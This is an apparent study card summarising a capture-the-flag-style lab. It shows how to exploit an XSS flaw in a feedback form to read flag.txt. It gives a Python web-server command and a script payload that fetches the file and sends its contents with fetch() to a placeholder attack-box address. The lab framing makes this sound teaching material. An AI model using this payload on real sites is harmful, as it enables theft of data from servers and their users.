Return to topic cards

Understanding Cybersecurity Exploitation

XSSCybersecurityExploitationFetch APIWeb Vulnerabilities

This guide explains how to exploit a Cross-Site Scripting (XSS) vulnerability to read a file (flag.txt) from a server. The process involves injecting a fetch() command within <script> tags in a form's textarea.

Key Points

  • XSS Exploitation: Inject malicious scripts into web pages viewed by other users.
  • Fetch API: Used to make network requests to retrieve the flag.txt file.
  • Attack Box Setup: Start a web server on the attack box to receive the flag.

Steps to Exploit XSS Vulnerability

Setting Up the Attack Box

Start a web server using Python to make the attack box's IP accessible to the vulnerable site.

python3 -m http.server 8000

Injecting the Payload

Place the following payload in the feedback form's textarea to exploit the XSS vulnerability:

<script>
fetch('http://MACHINE_IP:8080/flag.txt')
  .then(response => response.text())
  .then(data => fetch('http://ATTACK_BOX_IP:8000/?flag=' + data));
</script>

Execution Flow

  1. The <script> tag is injected and executed.
  2. The script makes a fetch request to retrieve the flag.txt file.
  3. The content of flag.txt is sent to the attack box's URL as a query parameter.

Learn More